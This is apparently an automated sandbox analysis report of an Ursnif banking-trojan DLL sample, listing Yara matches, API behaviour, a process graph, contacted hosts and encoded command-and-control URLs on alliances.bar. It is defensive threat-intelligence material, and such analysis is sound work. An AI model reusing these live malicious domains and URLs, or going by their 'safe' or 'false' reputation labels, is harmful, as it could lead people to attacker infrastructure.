Source: loaddll32.exe, 00000000.00000002.486059210.0000000001A10000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.486678492.0000000003310000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.485974841.0000000002FA0000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000002.486059210.0000000001A10000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.486678492.0000000003310000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.485974841.0000000002FA0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.486059210.0000000001A10000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.486678492.0000000003310000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.485974841.0000000002FA0000.00000002.00000001.sdmp Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.486059210.0000000001A10000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.486678492.0000000003310000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.485974841.0000000002FA0000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005E9135 cpuid 0_2_005E9135
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10001456 SetThreadPriority,GetSystemTime,SwitchToThread,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,GetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError, 0_2_10001456
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005E9135 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 0_2_005E9135
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10001F0E CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 0_2_10001F0E

Stealing of Sensitive Information:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000001D.00000003.378625315.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377493351.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377965158.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311524136.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299067540.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379329065.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353519210.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452882755.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349169873.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353381101.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452739993.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311353638.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353640605.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353482543.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349379368.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299293489.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377754049.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452599143.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.425611899.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452682864.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349425307.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349209886.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.488281426.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452790659.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349342259.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349245069.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353420356.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379402147.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.378397913.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311162481.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353660162.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376670409.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310218293.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353285218.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299402333.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310401449.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310585045.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377140325.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310811687.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452941227.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298617487.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377966823.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349275169.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377030195.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311655737.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349118555.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.401300061.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299506180.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379198024.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.487540264.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.457353583.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.485787977.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298330099.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376078643.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452547670.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.442237673.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377890073.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379544002.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298892521.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353559736.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298800751.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452911252.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376494826.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6912, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6096, type: MEMORY

Remote Access Functionality:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000001D.00000003.378625315.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377493351.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377965158.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311524136.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299067540.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379329065.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353519210.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452882755.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349169873.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353381101.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452739993.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311353638.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353640605.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353482543.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349379368.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299293489.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377754049.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452599143.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.425611899.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452682864.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349425307.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349209886.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.488281426.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452790659.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349342259.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349245069.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353420356.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379402147.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.378397913.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311162481.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353660162.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376670409.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310218293.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353285218.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299402333.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310401449.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310585045.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377140325.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310811687.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452941227.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298617487.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377966823.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349275169.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377030195.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311655737.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349118555.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.401300061.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299506180.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379198024.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.487540264.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.457353583.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.485787977.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298330099.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376078643.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452547670.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.442237673.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377890073.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379544002.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298892521.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353559736.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298800751.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452911252.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376494826.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6912, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6096, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 454630 Sample: direction.dll Startdate: 27/07/2021 Architecture: WINDOWS Score: 76 30 alliances.bar 195.110.59.2, 49775, 49776, 49777 AS-HOSTINGERLT Lithuania 2->30 32 www.alliancer.bar 2->32 34 4 other IPs or domains 2->34 42 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected  Ursnif 2->46 8 loaddll32.exe 1 2->8         started        signatures3 process4 signatures5 52 Writes or reads registry keys via WMI 8->52 54 Writes registry values via WMI 8->54 11 regsvr32.exe 8->11         started        14 iexplore.exe 6 125 8->14         started        16 cmd.exe 1 8->16         started        18 15 other processes 8->18 process6 signatures7 56 Writes or reads registry keys via WMI 11->56 58 Writes registry values via WMI 11->58 20 iexplore.exe 9 157 14->20         started        24 iexplore.exe 14->24         started        26 iexplore.exe 14->26         started        28 rundll32.exe 16->28         started        process8 dnsIp9 36 dart.l.doubleclick.net 142.250.186.70, 443, 49740, 49741 GOOGLEUS United States 20->36 38 tls13.taboola.map.fastly.net 151.101.1.44, 443, 49753, 49754 FASTLYUS United States 20->38 40 12 other IPs or domains 20->40 48 Creates an undocumented autostart registry key 20->48 50 Writes registry values via WMI 28->50 signatures10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
195.110.59.2
 alliances.bar Lithuania
47583 AS-HOSTINGERLT false
172.67.69.19
 ad-delivery.net United States
13335 CLOUDFLARENETUS false
151.101.1.44
 tls13.taboola.map.fastly.net United States
54113 FASTLYUS false
104.20.185.68
 geolocation.onetrust.com United States
13335 CLOUDFLARENETUS false
172.67.70.134
 btloader.com United States
13335 CLOUDFLARENETUS false
142.250.186.70
 dart.l.doubleclick.net United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
contextual.media.net 23.211.6.95 true
alliancer.bar 162.255.119.245 true
dart.l.doubleclick.net 142.250.186.70 true
tls13.taboola.map.fastly.net 151.101.1.44 true
hblg.media.net 23.211.6.95 true
allianceline.bar 162.255.119.73 true
parkingpage.namecheap.com 198.54.117.218 true
lg3.media.net 23.211.6.95 true
btloader.com 172.67.70.134 true
geolocation.onetrust.com 104.20.185.68 true
ad-delivery.net 172.67.69.19 true
alliances.bar 195.110.59.2 true
www.msn.com unknown unknown
ad.doubleclick.net unknown unknown
srtb.msn.com unknown unknown
img.img-taboola.com unknown unknown
www.allianceline.bar unknown unknown
web.vortex.data.msn.com unknown unknown
www.alliancer.bar unknown unknown
cvision.media.net unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://alliances.bar/jdraw/EyekExaBW/AOmJRyo4fJFkPCi2jsPG/WyXo9UA7YyvHWkf5vtk/lKMztsIaB1HB9NTYYsSHgD/fQz2o9_2FQPif/0fDicM8g/8PZEF_2FfgYAg2gcvHBhP_2/FUzJr56vzj/WTbT4OEmvC2xapmxA/FYCvjWtA654H/XdKJrCOAQpA/_2BYDSsnxLQkRX/is5GUyU1jivaQMJ/C0L6SBH.crw true
  • Avira URL Cloud: safe
 unknown
http://alliances.bar/jdraw/eKIdVq7xEW6JzcVSOG/YGAz0kRmP/C0f1b_2FRes_2FjY8B_2/B_2Fd5AfZVKD5X9IhDZ/d694TVwOFdByJwCY79yvmz/7R58NwfRecoLg/aA_2Bw0R/p0gM8vDZjy0ps_2BUIayQq9/Rn_2Bt_2F4/d1DmvYN0laOIuMrK4/gzoaehTV9xyU/Nf7ZEAISl2G/tYbkdP7D4szBeT/SRCKquNWp/kay.crw true
  • Avira URL Cloud: safe
 unknown
http://alliances.bar/jdraw/T3XNZT6zZjYD38/irugL9bm6bNKUFAIonM6H/wQL3HgmSBf4ywwYC/sCXsyThPbupkuWW/HhhD2tIgDuvCZc7SAr/u3tIlTv46/0VagixoIliZmOzrIJ8Gv/e15Bb16QLC3Qf1P6zSC/O1DjOyt740UVseH_2FPgwL/iVEyQ72HDAwgH/K2st7xyH/Ngp0jwDDrKGldAKNE1lGwr3/tPn1Qdvj/JvRqnbko7/r.crw true
  • Avira URL Cloud: safe
 unknown
http://alliances.bar/jdraw/O3iaA2hu956AXTvBy/pROO_2Bezcv9/4EW_2BE2GiS/RrILj1FVsG0NgC/bEj1Md4FXMzXd_2BsQDkk/2E3fgPGlvmi62b6L/klQsJbFHAOHko_2/BUEsaqmse4HJAFyRlL/vhVfnT0FY/WbXAIRBRE8knIva7gP_2/FTNZLj1OD4sSLJ7_2B_/2BtcED7ctzJHZCgi_2FvX3/yhOQIkIeSXX6q/n.crw true
  • Avira URL Cloud: safe
 unknown
http://alliances.bar/jdraw/HxV_2Bo2vQql/kYmaS26P5Yr/1ei7o7GvahAXm7/WZ9ceXuO8s82IXd2qjhTi/gVDefd7ypFoQitu8/GJUghRHALUiqDy6/hHVuLE2xYoEYA04ng_/2Biq6MgyI/mSB_2FHBwC8tZQO2_2FQ/pZwzJOVW5TItjHxGvRf/VMVOqBmY6oS2fveNdw30jR/tGgzoqtgAAQGtKXKfjWMF/pw.crw true
  • Avira URL Cloud: safe
 unknown